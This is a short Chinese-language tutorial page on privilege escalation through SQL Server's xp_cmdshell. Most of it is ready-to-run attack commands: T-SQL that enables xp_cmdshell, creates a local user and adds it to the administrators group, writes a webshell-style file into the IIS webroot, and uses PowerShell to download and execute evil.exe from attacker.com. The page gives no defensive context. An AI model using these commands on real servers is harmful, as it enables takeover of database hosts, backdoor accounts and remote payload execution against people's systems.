> 技术文档 > SQL Server-xp_cmdshell提权

SQL Server-xp_cmdshell提权


什么是 xp_cmdshell?

xp_cmdshell 是 SQL Server 的一个扩展存储过程,可以让数据库直接执行系统命令,相当于在目标主机上执行 cmd 命令

条件

  1. 已获取 SQL Server 权限(sa 或 sysadmin 权限)
  2. xp_cmdshell 功能处于开启状态(默认是关闭)
  3. 数据库服务运行账户拥有系统权限(如 LocalSystem)

开启 xp_cmdshell(需要 sa 权限)

-- 1. 启用高级选项EXEC sp_configure \'show advanced options\', 1;RECONFIGURE;-- 2. 启用 xp_cmdshellEXEC sp_configure \'xp_cmdshell\', 1;RECONFIGURE;

提权操作示例

1. 直接执行系统命令(反弹 shell、添加用户等)

-- 添加一个用户EXEC xp_cmdshell \'net user test123 P@ssw0rd /add\';-- 把用户加到管理员组EXEC xp_cmdshell \'net localgroup administrators test123 /add\';

上传并执行木马(webshell 或反弹 shell)

-- 使用 echo 写文件EXEC xp_cmdshell \'echo test > C:\\inetpub\\wwwroot\\test.aspx\';-- 或者下载 payloadEXEC xp_cmdshell \'powershell -Command \"Invoke-WebRequest -Uri http://attacker.com/evil.exe -OutFile C:\\evil.exe\"\';-- 执行 payloadEXEC xp_cmdshell \'C:\\evil.exe\';